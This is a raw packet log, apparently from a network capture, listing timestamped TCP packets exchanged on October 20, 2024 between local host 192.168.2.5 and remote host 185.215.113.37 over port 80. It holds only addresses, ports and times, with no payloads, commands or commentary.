Oct 20, 2024 08:40:16.147178888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.147181988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147191048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147201061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147209883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.147212029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147222042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147231102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147238970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147243023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.147244930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147249937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147255898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.147280931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147293091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147296906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.147300959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147310972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147317886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.147320032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147330046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147339106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147346973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.147349119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147357941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147368908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147382021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.147391081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147398949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.147404909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147416115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.147417068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147428036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147437096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147442102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.147447109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147456884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147466898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147469044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.147478104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147485018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.147488117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147495985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.147496939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147506952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147516966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147525072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.147526026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.147559881 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.147572994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.338660002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.338675976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.338692904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.338716984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.338746071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.338804960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.338828087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.338844061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.338866949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.338871956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.338890076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.338891029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.338913918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.338920116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.338929892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.338943958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.338959932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.338967085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.338985920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.338988066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339010954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339010954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339026928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339035988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339040995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339056015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339059114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339078903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339080095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339099884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339103937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339118958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339126110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339133978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339148998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339152098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339164972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339175940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339179993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339199066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339202881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339221001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339226961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339248896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339250088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339266062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339267969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339278936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339287996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339299917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339309931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339309931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339315891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339329958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339337111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339346886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339363098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339373112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339378119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339394093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339402914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339417934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339421034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339446068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339453936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339469910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339476109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339484930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339498997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339504004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339523077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339528084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339539051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339545012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339560032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339565992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339575052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339596987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339600086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339612007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339621067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339621067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339627028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339638948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339641094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339656115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339663029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339663029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339668989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339689970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339690924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339704990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339710951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339728117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339729071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339744091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339744091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339757919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339772940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339772940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339786053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339788914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339803934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339806080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339812994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339818001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339833021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339839935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339839935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339852095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339863062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339867115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339871883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339880943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339895010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339900017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339900970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339910984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339920998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339926004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339940071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339947939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339956045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339971066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339971066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339978933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.339989901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.339994907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340008974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340008974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340017080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340029955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340032101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340043068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340058088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340070963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340071917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340087891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340101957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340104103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340104103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340104103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340120077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340122938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340137959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340142965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340158939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340158939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340174913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340183020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340190887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340200901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340204954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340218067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340228081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340229034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340244055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340250969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340262890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340270042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340281963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340285063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340298891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340308905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340313911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340327024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340329885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340339899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340344906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340359926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340359926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340368032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340384960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340387106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340400934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340414047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340416908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340425968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340430975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340446949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340446949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340461969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340468884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340477943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340481997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340501070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340501070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340517998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340519905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340532064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340540886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340548992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340558052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340572119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340574980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340586901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340590000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340601921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340612888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340617895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340625048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340631962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340641022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340657949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340681076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340701103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340714931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340729952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340754032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340759993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340775013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340780973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340790033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340805054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340806961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340818882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340820074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340840101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340949059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340971947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340981960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.340986967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.340991020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.341001034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.341016054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.341021061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.341032028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.341042995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.341042995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.341056108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.341056108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.341070890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.341075897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.341087103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.341094017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.341101885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.341111898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.341116905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.341130018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.341131926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.341144085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.341146946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.341161966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.341161966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.341177940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.341180086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.341197014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.341216087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.341253996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.341269016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.341283083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.341305017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.341310024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.341320992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.341322899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.341351032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.341360092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.341361046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.341376066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.341391087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.341401100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.341414928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.341418028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.341429949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.341438055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.341447115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.341459036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.341461897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.341478109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.341703892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.341721058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.341726065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.341739893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.341742039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.341756105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.341768026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.341770887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.341785908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.341788054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.341809988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:16.341813087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.341828108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:16.341835022 CEST	49704	80	192.168.2.5	185.215.113.37
